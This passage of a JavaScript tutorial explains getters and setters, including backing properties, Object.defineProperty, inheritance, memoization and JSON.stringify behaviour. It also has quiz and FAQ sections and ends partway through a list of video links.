[setter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set) is called when you assign to it. They let you add logic to property access without changing how the property is used.\n\n<Info>\n**What you'll learn in this guide:**\n- What getters and setters are and why they're useful\n- How to define them in object literals and classes\n- The backing property pattern to avoid infinite loops\n- Using [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) for accessor descriptors\n- Common use cases: computed values, validation, encapsulation\n- Getter-only (read-only) and setter-only (write-only) properties\n- How getters and setters work with inheritance\n- Performance considerations and caching patterns\n</Info>\n\n<Warning>\n**Prerequisite:** This guide builds on [Property Descriptors](/beyond/concepts/property-descriptors). Understanding data vs accessor descriptors will help you get the most from this guide.\n</Warning>\n\n---\n\n## What Are Getters and Setters?\n\n**Getters** and **setters** are functions disguised as properties. When you access a getter, JavaScript calls the function and returns its result. When you assign to a setter, JavaScript calls the function with the assigned value. The key difference from regular methods is the syntax: no parentheses. According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-method-definitions), getters and setters are defined as special method types within object literals and class bodies, creating accessor property descriptors rather than data descriptors.\n\n```javascript\nconst circle = {\n  radius: 5,\n  \n  // Getter — called when you READ circle.area\n  get area() {\n    return Math.PI * this.radius ** 2\n  },\n  \n  // Setter — called when you WRITE circle.diameter = value\n  set diameter(value) {\n    this.radius = value / 2\n  }\n}\n\n// Getters: access like a property\nconsole.log(circle.area)      // 78.53981633974483\nconsole.log(circle.area)      // Same — recalculates each time\n\n// Setters: assign like a property\ncircle.diameter = 20\nconsole.log(circle.radius)    // 10 (setter updated it)\nconsole.log(circle.area)      // 314.159... (getter recalculates)\n```\n\n### Getters vs Methods\n\nThe difference is purely syntactic, but it affects how you think about and use the property:\n\n```javascript\nconst rectangle = {\n  width: 10,\n  height: 5,\n  \n  // Method — requires parentheses\n  calculateArea() {\n    return this.width * this.height\n  },\n  \n  // Getter — no parentheses\n  get area() {\n    return this.width * this.height\n  }\n}\n\n// Method call\nconsole.log(rectangle.calculateArea())  // 50\n\n// Getter access\nconsole.log(rectangle.area)             // 50\n\n// Forgetting parentheses on method returns the function itself\nconsole.log(rectangle.calculateArea)    // [Function: calculateArea]\n\n// But getters are called automatically\nconsole.log(rectangle.area)             // 50 (not the function)\n```\n\n<Tip>\n**When to use which?** Use getters when the value feels like a property (area, fullName, isValid). Use methods when it feels like an action (calculate, fetch, validate).\n</Tip>\n\n---\n\n## The Vending Machine Analogy\n\nThink of an object as a vending machine. Regular properties are like items sitting on a shelf. You can see them and grab them directly. But getters and setters add a layer of interaction.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    GETTERS & SETTERS: THE VENDING MACHINE                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   REGULAR PROPERTY                    GETTER                             │\n│   ────────────────                    ──────                             │\n│   ┌─────────────┐                     ┌─────────────┐                    │\n│   │   SHELF     │                     │   DISPLAY   │                    │\n│   │  ┌─────┐    │                     │   ┌─────┐   │                    │\n│   │  │ 🥤  │    │  ← Grab directly    │   │ ?? │   │  ← Press button    │\n│   │  └─────┘    │                     │   └─────┘   │    to dispense     │\n│   └─────────────┘                     │      ▼      │                    │\n│   obj.drink                           │   ┌─────┐   │                    │\n│                                       │   │ 🥤  │   │  ← Machine makes   │\n│                                       │   └─────┘   │    it for you      │\n│                                       └─────────────┘                    │\n│                                       obj.freshDrink (getter)            │\n│                                                                          │\n│   SETTER                                                                 │\n│   ──────                                                                 │\n│   ┌─────────────────────────────────────┐                                │\n│   │           COIN SLOT                  │                               │\n│   │   ┌─────┐                           │                                │\n│   │   │ 💰  │  → Insert money           │  ← Machine validates,          │\n│   │   └─────┘    (setter called)        │    processes, stores           │\n│   │                    ▼                │                                │\n│   │              ┌──────────┐           │                                │\n│   │              │ VALIDATE │           │                                │\n│   │              │  STORE   │           │                                │\n│   │              └──────────┘           │                                │\n│   └─────────────────────────────────────┘                                │\n│   obj.balance = 5 (setter)                                               │\n│                                                                          │\n│   The machine handles complexity. You just interact with a simple        │\n│   interface — but behind the scenes, code runs.                          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Defining Getters and Setters in Object Literals\n\nThe most common way to define getters and setters is in object literals using the `get` and `set` keywords.\n\n### Basic Syntax\n\n```javascript\nconst user = {\n  firstName: \"Alice\",\n  lastName: \"Smith\",\n  \n  // Getter\n  get fullName() {\n    return `${this.firstName} ${this.lastName}`\n  },\n  \n  // Setter\n  set fullName(value) {\n    const parts = value.split(\" \")\n    this.firstName = parts[0]\n    this.lastName = parts[1] || \"\"\n  }\n}\n\n// Using the getter\nconsole.log(user.fullName)  // \"Alice Smith\"\n\n// Using the setter\nuser.fullName = \"Bob Jones\"\nconsole.log(user.firstName)  // \"Bob\"\nconsole.log(user.lastName)   // \"Jones\"\n```\n\n### Computed Property Names\n\nYou can use computed property names with getters and setters:\n\n```javascript\nconst propName = \"status\"\n\nconst task = {\n  _status: \"pending\",\n  \n  get [propName]() {\n    return this._status.toUpperCase()\n  },\n  \n  set [propName](value) {\n    this._status = value.toLowerCase()\n  }\n}\n\nconsole.log(task.status)  // \"PENDING\"\ntask.status = \"DONE\"\nconsole.log(task.status)  // \"DONE\"\nconsole.log(task._status) // \"done\"\n```\n\n### The Backing Property Pattern\n\nWhen a getter/setter needs to store a value, you need a separate \"backing\" property. By convention, this is prefixed with an underscore:\n\n```javascript\nconst account = {\n  _balance: 0,  // Backing property (by convention, \"private\")\n  \n  get balance() {\n    return this._balance\n  },\n  \n  set balance(value) {\n    if (value < 0) {\n      throw new Error(\"Balance cannot be negative\")\n    }\n    this._balance = value\n  }\n}\n\naccount.balance = 100\nconsole.log(account.balance)  // 100\n\naccount.balance = -50  // Error: Balance cannot be negative\n```\n\n<Warning>\n**The underscore is just a convention.** The `_balance` property is still publicly accessible. For true privacy, see [Factories & Classes](/concepts/factories-classes) which covers private fields (`#`) and closure-based privacy.\n</Warning>\n\n---\n\n## Defining Getters and Setters in Classes\n\nThe syntax in classes is identical to object literals:\n\n```javascript\nclass Temperature {\n  constructor(celsius) {\n    this._celsius = celsius\n  }\n  \n  // Getter\n  get celsius() {\n    return this._celsius\n  }\n  \n  // Setter with validation\n  set celsius(value) {\n    if (value < -273.15) {\n      throw new Error(\"Temperature below absolute zero!\")\n    }\n    this._celsius = value\n  }\n  \n  // Computed getter — no backing property needed\n  get fahrenheit() {\n    return this._celsius * 9/5 + 32\n  }\n  \n  // Computed setter — converts and stores\n  set fahrenheit(value) {\n    this.celsius = (value - 32) * 5/9  // Uses celsius setter for validation\n  }\n  \n  // Read-only getter (no setter)\n  get kelvin() {\n    return this._celsius + 273.15\n  }\n}\n\nconst temp = new Temperature(25)\n\nconsole.log(temp.celsius)     // 25\nconsole.log(temp.fahrenheit)  // 77\nconsole.log(temp.kelvin)      // 298.15\n\ntemp.fahrenheit = 100\nconsole.log(temp.celsius)     // 37.777...\n\n// temp.kelvin = 300  // TypeError in strict mode (no setter)\n```\n\n### Static Getters and Setters\n\nYou can also define getters and setters on the class itself:\n\n```javascript\nclass Config {\n  static _debugMode = false\n  \n  static get debugMode() {\n    return this._debugMode\n  }\n  \n  static set debugMode(value) {\n    console.log(`Debug mode ${value ? \"enabled\" : \"disabled\"}`)\n    this._debugMode = value\n  }\n}\n\nconsole.log(Config.debugMode)  // false\nConfig.debugMode = true        // \"Debug mode enabled\"\nconsole.log(Config.debugMode)  // true\n```\n\n<Note>\nFor comprehensive coverage of classes, including private fields (`#field`) as backing properties, see [Factories & Classes](/concepts/factories-classes).\n</Note>\n\n---\n\n## Getters and Setters with Object.defineProperty()\n\nYou can also define getters and setters using [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty). This creates an **accessor descriptor** instead of a data descriptor.\n\n### Accessor Descriptors\n\n```javascript\nconst user = {\n  firstName: \"Alice\",\n  lastName: \"Smith\"\n}\n\nObject.defineProperty(user, \"fullName\", {\n  get() {\n    return `${this.firstName} ${this.lastName}`\n  },\n  set(value) {\n    const parts = value.split(\" \")\n    this.firstName = parts[0]\n    this.lastName = parts[1] || \"\"\n  },\n  enumerable: true,\n  configurable: true\n})\n\nconsole.log(user.fullName)  // \"Alice Smith\"\nuser.fullName = \"Bob Jones\"\nconsole.log(user.firstName)  // \"Bob\"\n```\n\n### Inspecting Accessor Descriptors\n\n```javascript\nconst obj = {\n  get prop() { return \"value\" },\n  set prop(v) { /* store v */ }\n}\n\nconst descriptor = Object.getOwnPropertyDescriptor(obj, \"prop\")\nconsole.log(descriptor)\n// {\n//   get: [Function: get prop],\n//   set: [Function: set prop],\n//   enumerable: true,\n//   configurable: true\n// }\n\n// Note: No 'value' or 'writable' — those are for data descriptors\n```\n\n### The Rule: Data vs Accessor Descriptors\n\nA property descriptor must be **either** a data descriptor (with `value`/`writable`) **or** an accessor descriptor (with `get`/`set`). You cannot mix them.\n\n```javascript\n// ❌ WRONG — mixing data and accessor descriptor\nObject.defineProperty({}, \"broken\", {\n  value: 42,\n  get() { return 42 }\n})\n// TypeError: Invalid property descriptor. Cannot both specify accessors \n// and a value or writable attribute\n\n// ❌ ALSO WRONG\nObject.defineProperty({}, \"alsoBroken\", {\n  writable: true,\n  set(v) { }\n})\n// TypeError: Invalid property descriptor.\n```\n\nFor more on property descriptors, see [Property Descriptors](/beyond/concepts/property-descriptors).\n\n---\n\n## Common Use Cases\n\n### 1. Computed/Derived Properties\n\nCalculate a value from other properties:\n\n```javascript\nconst cart = {\n  items: [\n    { name: \"Book\", price: 20, quantity: 2 },\n    { name: \"Pen\", price: 5, quantity: 10 }\n  ],\n  \n  get itemCount() {\n    return this.items.reduce((sum, item) => sum + item.quantity, 0)\n  },\n  \n  get subtotal() {\n    return this.items.reduce((sum, item) => sum + item.price * item.quantity, 0)\n  },\n  \n  get tax() {\n    return this.subtotal * 0.1\n  },\n  \n  get total() {\n    return this.subtotal + this.tax\n  }\n}\n\nconsole.log(cart.itemCount)  // 12\nconsole.log(cart.subtotal)   // 90\nconsole.log(cart.tax)        // 9\nconsole.log(cart.total)      // 99\n```\n\n### 2. Data Validation\n\nEnforce constraints when values are assigned:\n\n```javascript\nclass User {\n  constructor(name, age) {\n    this._name = \"\"\n    this._age = 0\n    \n    // Use setters for initial validation\n    this.name = name\n    this.age = age\n  }\n  \n  get name() {\n    return this._name\n  }\n  \n  set name(value) {\n    if (typeof value !== \"string\" || value.trim() === \"\") {\n      throw new Error(\"Name must be a non-empty string\")\n    }\n    this._name = value.trim()\n  }\n  \n  get age() {\n    return this._age\n  }\n  \n  set age(value) {\n    if (typeof value !== \"number\" || value < 0 || value > 150) {\n      throw new Error(\"Age must be a number between 0 and 150\")\n    }\n    this._age = Math.floor(value)\n  }\n}\n\nconst user = new User(\"Alice\", 30)\nconsole.log(user.name)  // \"Alice\"\nconsole.log(user.age)   // 30\n\nuser.age = 31           // Works\nuser.age = -5           // Error: Age must be a number between 0 and 150\nuser.name = \"\"          // Error: Name must be a non-empty string\n```\n\n### 3. Logging and Debugging\n\nTrack property access and changes:\n\n```javascript\nfunction createTrackedObject(obj, name) {\n  const tracked = {}\n  \n  for (const key of Object.keys(obj)) {\n    let value = obj[key]\n    \n    Object.defineProperty(tracked, key, {\n      get() {\n        console.log(`[${name}] Reading ${key}: ${value}`)\n        return value\n      },\n      set(newValue) {\n        console.log(`[${name}] Writing ${key}: ${value} → ${newValue}`)\n        value = newValue\n      },\n      enumerable: true\n    })\n  }\n  \n  return tracked\n}\n\nconst config = createTrackedObject({ debug: false, maxRetries: 3 }, \"Config\")\n\nconfig.debug      // [Config] Reading debug: false\nconfig.debug = true  // [Config] Writing debug: false → true\nconfig.maxRetries    // [Config] Reading maxRetries: 3\n```\n\n### 4. Lazy Evaluation\n\nDefer expensive computation until first access:\n\n```javascript\nconst report = {\n  _data: null,\n  \n  get data() {\n    if (this._data === null) {\n      console.log(\"Computing expensive data...\")\n      // Simulate expensive computation\n      this._data = Array.from({ length: 1000 }, (_, i) => i * 2)\n    }\n    return this._data\n  }\n}\n\n// Data not computed yet\nconsole.log(\"Report created\")\n\n// First access triggers computation\nconsole.log(report.data.length)  // \"Computing expensive data...\" then 1000\n\n// Second access uses cached value\nconsole.log(report.data.length)  // 1000 (no log — already computed)\n```\n\n### 5. Reactive Patterns\n\nTrigger updates when values change:\n\n```javascript\nclass Observable {\n  constructor(value) {\n    this._value = value\n    this._listeners = []\n  }\n  \n  get value() {\n    return this._value\n  }\n  \n  set value(newValue) {\n    const oldValue = this._value\n    this._value = newValue\n    \n    // Notify all listeners\n    this._listeners.forEach(fn => fn(newValue, oldValue))\n  }\n  \n  subscribe(fn) {\n    this._listeners.push(fn)\n    return () => {\n      this._listeners = this._listeners.filter(f => f !== fn)\n    }\n  }\n}\n\nconst count = new Observable(0)\n\n// Subscribe to changes\nconst unsubscribe = count.subscribe((newVal, oldVal) => {\n  console.log(`Count changed from ${oldVal} to ${newVal}`)\n})\n\ncount.value = 1  // \"Count changed from 0 to 1\"\ncount.value = 2  // \"Count changed from 1 to 2\"\n\nunsubscribe()\ncount.value = 3  // (no output — unsubscribed)\n```\n\n---\n\n## The #1 Getter/Setter Mistake: Infinite Recursion\n\nThe most common mistake is creating a getter or setter that calls itself, causing infinite recursion and a stack overflow.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    INFINITE RECURSION DISASTER                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   set name(value) {           ┌─────────────────────────────┐            │\n│     this.name = value  ──────►│  Calls the setter again!    │            │\n│   }                           │         ▼                   │            │\n│         ▲                     │  set name(value) {          │            │\n│         │                     │    this.name = value ───────┼───┐        │\n│         │                     │  }                          │   │        │\n│         │                     │         ▼                   │   │        │\n│         │                     │  set name(value) {          │   │        │\n│         │                     │    this.name = value ───────┼───┼──┐     │\n│         │                     │  }                          │   │  │     │\n│         │                     │         ▼                   │   │  │     │\n│         │                     │  ... forever until ...      │   │  │     │\n│         │                     │                             │   │  │     │\n│         │                     │  💥 STACK OVERFLOW! 💥      │   │  │     │\n│         │                     └─────────────────────────────┘   │  │     │\n│         │                                                       │  │     │\n│         └───────────────────────────────────────────────────────┘  │     │\n│                                                                    │     │\n└────────────────────────────────────────────────────────────────────┴─────┘\n```\n\n### The Wrong Way\n\n```javascript\n// ❌ WRONG — causes infinite recursion\nconst user = {\n  get name() {\n    return this.name  // Calls the getter again!\n  },\n  set name(value) {\n    this.name = value  // Calls the setter again!\n  }\n}\n\nuser.name = \"Alice\"  // RangeError: Maximum call stack size exceeded\n```\n\n### The Right Way: Use a Backing Property\n\n```javascript\n// ✓ CORRECT — use a different property name\nconst user = {\n  _name: \"\",  // Backing property\n  \n  get name() {\n    return this._name  // Reads the backing property\n  },\n  set name(value) {\n    this._name = value  // Writes to the backing property\n  }\n}\n\nuser.name = \"Alice\"\nconsole.log(user.name)  // \"Alice\"\n```\n\n### Alternative: Private Fields in Classes\n\n```javascript\n// ✓ CORRECT — use private fields\nclass User {\n  #name = \"\"  // Private field\n  \n  get name() {\n    return this.#name\n  }\n  \n  set name(value) {\n    this.#name = value\n  }\n}\n\nconst user = new User()\nuser.name = \"Alice\"\nconsole.log(user.name)  // \"Alice\"\n// console.log(user.#name)  // SyntaxError: Private field\n```\n\n### Alternative: Closure Variable\n\n```javascript\n// ✓ CORRECT — use closure\nfunction createUser() {\n  let name = \"\"  // Closure variable\n  \n  return {\n    get name() {\n      return name\n    },\n    set name(value) {\n      name = value\n    }\n  }\n}\n\nconst user = createUser()\nuser.name = \"Alice\"\nconsole.log(user.name)  // \"Alice\"\n```\n\n---\n\n## Getter-Only and Setter-Only Properties\n\n### Getter-Only (Read-Only)\n\nIf you define only a getter without a setter, the property becomes read-only:\n\n```javascript\n\"use strict\"\n\nconst circle = {\n  radius: 5,\n  \n  get area() {\n    return Math.PI * this.radius ** 2\n  }\n  // No setter for 'area'\n}\n\nconsole.log(circle.area)  // 78.539...\n\n// Attempting to set throws in strict mode\ncircle.area = 100  // TypeError: Cannot set property area which has only a getter\n```\n\n<Note>\nWithout [strict mode](/beyond/concepts/strict-mode), the assignment silently fails. The value remains unchanged, but no error is thrown.\n</Note>\n\n### Setter-Only (Write-Only)\n\nIf you define only a setter without a getter, reading returns `undefined`:\n\n```javascript\nconst logger = {\n  _logs: [],\n  \n  set log(message) {\n    this._logs.push(`[${new Date().toISOString()}] ${message}`)\n  }\n  // No getter for 'log'\n}\n\nlogger.log = \"User logged in\"\nlogger.log = \"User viewed dashboard\"\n\nconsole.log(logger.log)   // undefined — no getter!\nconsole.log(logger._logs) // [\"[...] User logged in\", \"[...] User viewed dashboard\"]\n```\n\nSetter-only properties are rare but useful for write-only operations like logging or sending data.\n\n---\n\n## How Getters and Setters Work with Inheritance\n\nGetters and setters are inherited through the prototype chain, just like regular methods.\n\n### Basic Inheritance\n\n```javascript\nconst animal = {\n  _name: \"Unknown\",\n  \n  get name() {\n    return this._name\n  },\n  \n  set name(value) {\n    this._name = value\n  }\n}\n\n// Create object that inherits from animal\nconst dog = Object.create(animal)\n\nconsole.log(dog.name)  // \"Unknown\" — inherited getter\n\ndog.name = \"Rex\"       // Uses inherited setter\nconsole.log(dog.name)  // \"Rex\"\n\n// dog has its own _name now\nconsole.log(dog._name)     // \"Rex\"\nconsole.log(animal._name)  // \"Unknown\" — parent unchanged\n```\n\n### Overriding Getters and Setters\n\n```javascript\nclass Animal {\n  constructor(name) {\n    this._name = name\n  }\n  \n  get name() {\n    return this._name\n  }\n  \n  set name(value) {\n    this._name = value\n  }\n}\n\nclass Dog extends Animal {\n  // Override getter to add prefix\n  get name() {\n    return `🐕 ${super.name}`  // Use super to call parent getter\n  }\n  \n  // Override setter to validate\n  set name(value) {\n    if (value.length < 2) {\n      throw new Error(\"Dog name must be at least 2 characters\")\n    }\n    super.name = value  // Use super to call parent setter\n  }\n}\n\nconst dog = new Dog(\"Rex\")\nconsole.log(dog.name)  // \"🐕 Rex\"\n\ndog.name = \"Buddy\"\nconsole.log(dog.name)  // \"🐕 Buddy\"\n\ndog.name = \"X\"  // Error: Dog name must be at least 2 characters\n```\n\n### Deleting Reveals Inherited Getter\n\n```javascript\nconst parent = {\n  get value() { return \"parent\" }\n}\n\nconst child = Object.create(parent)\n\n// Define own getter\nObject.defineProperty(child, \"value\", {\n  get() { return \"child\" },\n  configurable: true\n})\n\nconsole.log(child.value)  // \"child\"\n\n// Delete child's own getter\ndelete child.value\n\nconsole.log(child.value)  // \"parent\" — inherited getter now visible\n```\n\n---\n\n## Performance Considerations\n\n### Getters Are Called Every Time\n\nUnlike regular properties, getters execute their function on every access. MDN documents that getter functions are called each time the property is accessed, which means expensive computations inside getters can become a performance bottleneck if not cached:\n\n```javascript\nlet callCount = 0\n\nconst obj = {\n  get expensive() {\n    callCount++\n    // Simulate expensive computation\n    let sum = 0\n    for (let i = 0; i < 1000000; i++) {\n      sum += i\n    }\n    return sum\n  }\n}\n\nconsole.log(obj.expensive)  // Computes... 499999500000\nconsole.log(obj.expensive)  // Computes again!\nconsole.log(obj.expensive)  // And again!\n\nconsole.log(callCount)  // 3 — called three times!\n```\n\n### Memoization Pattern\n\nFor expensive computations, cache the result:\n\n```javascript\nconst obj = {\n  _cachedExpensive: null,\n  \n  get expensive() {\n    if (this._cachedExpensive === null) {\n      console.log(\"Computing...\")\n      let sum = 0\n      for (let i = 0; i < 1000000; i++) {\n        sum += i\n      }\n      this._cachedExpensive = sum\n    }\n    return this._cachedExpensive\n  },\n  \n  invalidateCache() {\n    this._cachedExpensive = null\n  }\n}\n\nconsole.log(obj.expensive)  // \"Computing...\" then result\nconsole.log(obj.expensive)  // Just result — no computation\nconsole.log(obj.expensive)  // Just result — still cached\n\nobj.invalidateCache()\nconsole.log(obj.expensive)  // \"Computing...\" — recalculates\n```\n\n### Self-Replacing Getter (Lazy Property)\n\nFor values that never change, replace the getter with a data property on first access:\n\n```javascript\nconst obj = {\n  get lazyValue() {\n    console.log(\"Computing once...\")\n    const value = Math.random()  // Expensive computation\n    \n    // Replace getter with data property\n    Object.defineProperty(this, \"lazyValue\", {\n      value: value,\n      writable: false,\n      configurable: false\n    })\n    \n    return value\n  }\n}\n\nconsole.log(obj.lazyValue)  // \"Computing once...\" then 0.123...\nconsole.log(obj.lazyValue)  // 0.123... — no log, now a data property\nconsole.log(obj.lazyValue)  // 0.123... — same value, no computation\n```\n\n### When to Use Data Properties Instead\n\nUse regular data properties when:\n- The value doesn't need computation\n- You don't need validation on assignment\n- Performance is critical and the value is accessed frequently\n\n```javascript\n// ❌ Unnecessary getter\nconst point = {\n  _x: 0,\n  get x() { return this._x }\n}\n\n// ✓ Just use a data property\nconst point = {\n  x: 0\n}\n```\n\n---\n\n## JSON.stringify() and Getters\n\nWhen you call [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) on an object, getter values are included in the output (because the getter is called), but setter-only properties result in nothing being included. As the ECMAScript specification defines, `JSON.stringify()` reads enumerable own properties, which triggers getter functions during serialization:\n\n```javascript\nconst user = {\n  firstName: \"Alice\",\n  lastName: \"Smith\",\n  \n  get fullName() {\n    return `${this.firstName} ${this.lastName}`\n  },\n  \n  set nickname(value) {\n    this._nickname = value\n  }\n}\n\nconsole.log(JSON.stringify(user))\n// {\"firstName\":\"Alice\",\"lastName\":\"Smith\",\"fullName\":\"Alice Smith\"}\n\n// Note: \n// - fullName IS included (getter was called)\n// - nickname is NOT included (setter-only, no value to serialize)\n// - _nickname is NOT included (doesn't exist yet)\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Getters and setters are functions that look like properties.** Access them without parentheses.\n\n2. **Use `get` for reading, `set` for writing.** The getter returns a value; the setter receives the assigned value.\n\n3. **Always use a backing property to avoid infinite recursion.** Use `_name` for `name`, or use private fields (`#name`).\n\n4. **Getter-only properties are read-only.** Assignment fails silently in sloppy mode, throws in strict mode.\n\n5. **Setter-only properties return undefined when read.** They're rare but useful for write-only operations.\n\n6. **Accessor descriptors use `get`/`set`, not `value`/`writable`.** You cannot mix them in `Object.defineProperty()`.\n\n7. **Getters execute on every access.** Use memoization for expensive computations.\n\n8. **Getters and setters are inherited.** Use `super.prop` to call the parent's accessor in a subclass.\n\n9. **JSON.stringify() calls getters.** The computed value is included in the JSON output.\n\n10. **Use getters for computed values, setters for validation.** They're perfect for derived properties and enforcing constraints.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What's the difference between a getter and a method?\">\n    **Answer:**\n    \n    Syntactically, getters are accessed without parentheses, while methods require them:\n    \n    ```javascript\n    const obj = {\n      get area() { return 100 },\n      calculateArea() { return 100 }\n    }\n    \n    obj.area           // 100 — getter, no parentheses\n    obj.calculateArea()  // 100 — method, with parentheses\n    obj.calculateArea  // [Function] — returns the function itself\n    ```\n    \n    Semantically, use getters when the value feels like a property (area, fullName, isValid). Use methods when it feels like an action (calculate, fetch, process).\n  </Accordion>\n  \n  <Accordion title=\"How do you prevent infinite recursion in a setter?\">\n    **Answer:**\n    \n    Use a backing property with a different name:\n    \n    ```javascript\n    // ❌ WRONG — infinite recursion\n    set name(value) {\n      this.name = value  // Calls setter again!\n    }\n    \n    // ✓ CORRECT — use backing property\n    set name(value) {\n      this._name = value  // Different property\n    }\n    ```\n    \n    Alternatively, use private fields (`#name`) or closure variables.\n  </Accordion>\n  \n  <Accordion title=\"What happens if you only define a getter without a setter?\">\n    **Answer:**\n    \n    The property becomes read-only:\n    \n    ```javascript\n    \"use strict\"\n    \n    const obj = {\n      get value() { return 42 }\n    }\n    \n    console.log(obj.value)  // 42\n    obj.value = 100  // TypeError: Cannot set property value which has only a getter\n    ```\n    \n    In non-strict mode, the assignment silently fails instead of throwing.\n  </Accordion>\n  \n  <Accordion title=\"Can you have both a value and a getter on the same property?\">\n    **Answer:**\n    \n    No. A property descriptor must be either a **data descriptor** (with `value`/`writable`) or an **accessor descriptor** (with `get`/`set`). Mixing them throws a TypeError:\n    \n    ```javascript\n    Object.defineProperty({}, \"prop\", {\n      value: 42,\n      get() { return 42 }\n    })\n    // TypeError: Invalid property descriptor. Cannot both specify \n    // accessors and a value or writable attribute\n    ```\n  </Accordion>\n  \n  <Accordion title=\"When would you use a getter vs a regular property?\">\n    **Answer:**\n    \n    Use a getter when you need:\n    \n    1. **Computed values** — derived from other properties\n    ```javascript\n    get fullName() { return `${this.firstName} ${this.lastName}` }\n    ```\n    \n    2. **Lazy evaluation** — defer expensive computation\n    \n    3. **Validation on read** — transform or validate before returning\n    \n    4. **Encapsulation** — hide the backing storage\n    \n    Use a regular property when:\n    - The value doesn't need computation\n    - No validation is needed\n    - Performance is critical (getters run on every access)\n  </Accordion>\n  \n  <Accordion title=\"How do getters behave with JSON.stringify()?\">\n    **Answer:**\n    \n    Getters are called during serialization, and their return values are included in the JSON:\n    \n    ```javascript\n    const obj = {\n      a: 1,\n      get b() { return 2 }\n    }\n    \n    JSON.stringify(obj)  // '{\"a\":1,\"b\":2}'\n    ```\n    \n    The getter `b` was called, and its value `2` was included. Setter-only properties result in nothing being included (no value to serialize).\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between a getter and a regular method in JavaScript?\">\n    Getters are accessed without parentheses (`obj.area`) while methods require them (`obj.calculateArea()`). Semantically, use getters for values that feel like properties (area, fullName, isValid) and methods for actions (calculate, fetch, process). According to MDN, getters define an accessor property, not a data property.\n  </Accordion>\n\n  <Accordion title=\"How do you avoid infinite recursion in a getter or setter?\">\n    Use a backing property with a different name (conventionally prefixed with `_`). For example, a `name` getter should read from `this._name`, not `this.name`. In modern classes, you can use private fields (`#name`) instead. Writing `this.name = value` inside a `name` setter calls the setter recursively, causing a stack overflow.\n  </Accordion>\n\n  <Accordion title=\"Do JavaScript getters affect performance?\">\n    Yes. Unlike data properties, getters execute their function on every access. For expensive computations, this can become a bottleneck. MDN recommends using memoization or the self-replacing getter pattern to cache results. For values accessed in tight loops, consider using a regular data property instead.\n  </Accordion>\n\n  <Accordion title=\"Are getter values included in JSON.stringify() output?\">\n    Yes. `JSON.stringify()` triggers getter functions and includes their return values in the output. Setter-only properties produce no output since there is no value to serialize. This behavior is defined by the ECMAScript specification's property enumeration algorithm.\n  </Accordion>\n\n  <Accordion title=\"Can you define a getter without a setter in JavaScript?\">\n    Yes. A getter-only property is effectively read-only. In strict mode, attempting to assign to it throws a `TypeError`. In non-strict mode, the assignment silently fails. This pattern is common for computed values like `area` on a shape object that should be derived, not directly set.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Property Descriptors\" icon=\"sliders\" href=\"/beyond/concepts/property-descriptors\">\n    Deep dive into accessor descriptors vs data descriptors, and how they're defined with Object.defineProperty().\n  </Card>\n  <Card title=\"Proxy & Reflect\" icon=\"shield\" href=\"/beyond/concepts/proxy-reflect\">\n    More powerful interception beyond getters/setters. Proxies can intercept any object operation.\n  </Card>\n  <Card title=\"Factories & Classes\" icon=\"cube\" href=\"/concepts/factories-classes\">\n    Comprehensive coverage of classes, including private fields (#) for backing properties and true encapsulation.\n  </Card>\n  <Card title=\"Strict Mode\" icon=\"lock\" href=\"/beyond/concepts/strict-mode\">\n    Why getter-only property assignments throw in strict mode but fail silently otherwise.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"getter — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get\">\n    Official documentation on the get syntax for defining getters.\n  </Card>\n  <Card title=\"setter — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set\">\n    Official documentation on the set syntax for defining setters.\n  </Card>\n  <Card title=\"Object.defineProperty() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty\">\n    How to define accessor properties with property descriptors.\n  </Card>\n  <Card title=\"Working with Objects — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects#defining_getters_and_setters\">\n    MDN guide section on defining getters and setters in objects.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Property getters and setters\" icon=\"newspaper\" href=\"https://javascript.info/property-accessors\">\n    The essential javascript.info guide covering accessor properties with clear examples. Includes the smart getter pattern for caching.\n  </Card>\n  <Card title=\"JavaScript Getters and Setters\" icon=\"newspaper\" href=\"https://www.programiz.com/javascript/getter-setter\">\n    Programiz tutorial with beginner-friendly explanations and practical examples of validation patterns.\n  </Card>\n  <Card title=\"An Introduction to JavaScript Getters and Setters\" icon=\"newspaper\" href=\"https://www.javascripttutorial.net/javascript-getters-and-setters/\">\n    JavaScript Tutorial's guide covering object literals, classes, and Object.defineProperty() approaches.\n  </Card>\n  <Card title=\"JavaScript Object Accessors\" icon=\"newspaper\" href=\"https://www.w3schools.com/js/js_object_accessors.asp\">\n    W3Schools quick reference with simple examples. Good for a fast refresher on syntax.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Getters and Setters Explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=bl98dm7vJt0\">\n    Web Dev Simplified breaks down getters and setters with clear visual examples. Great for understanding when and why to use them.\n  </Card>\n  <Card title=\"Getter and Setter in JavaScript\" icon=\"video\" 